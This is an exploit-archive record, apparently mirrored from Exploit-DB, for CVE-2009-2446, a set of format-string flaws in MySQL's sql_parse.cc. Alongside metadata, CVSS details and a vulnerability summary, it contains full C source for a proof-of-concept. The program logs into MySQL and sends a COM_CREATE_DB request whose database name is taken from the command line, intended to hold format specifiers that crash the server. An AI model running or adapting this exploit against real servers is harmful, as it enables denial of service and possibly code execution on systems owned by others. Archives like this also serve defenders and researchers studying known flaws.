{"exploit":{"id":"EDB-33077","name":"Oracle MySQL 5.0.75 - 'sql_parse.cc' Multiple Format String Vulnerabilities","description":"Oracle MySQL 5.0.75 - 'sql_parse.cc' Multiple Format String Vulnerabilities","cves":["CVE-2009-2446"],"author":"kingcope","published":"2009-06-08","platform":"linux","type":"dos","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/33077","path":"exploits/linux/dos/33077.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-33077.c","vulnerabilities":[{"id":"CVE-2009-2446","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple format string vulnerabilities in the dispatch_command function in libmysqld/sql_parse.cc in mysqld in MySQL 4.0.0 through 5.0.83 allow remote authenticated users to cause a denial of service (daemon crash) and possibly have unspecified other impact via format string specifiers in a database name in a (1) COM_CREATE_DB or (2) COM_DROP_DB request. NOTE: some of these details are obtained from third party information.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-2446","cvss":{"version":"2.0","baseScore":8.5,"severity":"high","vectorString":"AV:N/AC:M/Au:S/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-2446"},"updatedAt":"2024-08-07T05:52:14.762Z","retrievedAt":"2026-11-27T16:10:38.592Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-33077.png?v=2","url":"https://exploitbin.com/exploits/EDB-33077","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-33077/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-33077/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"// source: https://web.archive.org/web/2009/https://www.securityfocus.com/bid/35609/info\n\nMySQL is prone to multiple format-string vulnerabilities.\n\nAttackers can leverage these issues to execute arbitrary code within the context of the vulnerable application. Failed attacks will likely cause denial-of-service conditions.\n\nMySQL 4.0.0 through 5.0.75 are vulnerable; other versions may also be affected.\n\n#include <stdlib.h>\n#include <stdio.h>\n\n#define USE_OLD_FUNCTIONS\n#include <mysql/mysql.h>\n\n#define NullS           (char *) 0\n\nint\nmain (int argc, char **argv)\n{\n  MYSQL *mysql = NULL;\n\n  mysql = mysql_init (mysql);\n\n  if (!mysql)\n    {\n      puts (\"Init faild, out of memory?\");\n      return EXIT_FAILURE;\n    }\n\n  if (!mysql_real_connect (mysql,       /* MYSQL structure to use */\n                           \"localhost\", /* server hostname or IP address */\n                           \"monty\",      /* mysql user */\n                           \"montypython\",  /* password */\n                           NULL,      /* default database to use, NULL for none */\n                           0,   /* port number, 0 for default */\n                           NULL,        /* socket file or named pipe name */\n                           CLIENT_FOUND_ROWS /* connection flags */ ))\n    {\n      puts (\"Connect failed\\n\");\n    }\n  else\n    {\n      puts (\"Connect OK\\n\");\n//      mysql_create_db(mysql, \"%s%s%s%s%s\");\n        simple_command(mysql, COM_CREATE_DB, argv[1], strlen(argv[1]), 0);\n\n    }\n\n  mysql_close (mysql);\n\n  return EXIT_SUCCESS;\n}","sha256":"c0b8129650f3262fd6099afa2494af34cab26ee83bd061f6b957814cbf4cf531","bytes":1542,"fetchedAt":"2026-11-27T16:10:35.926Z","encoding":"utf-8 (display only; download retains original bytes)"}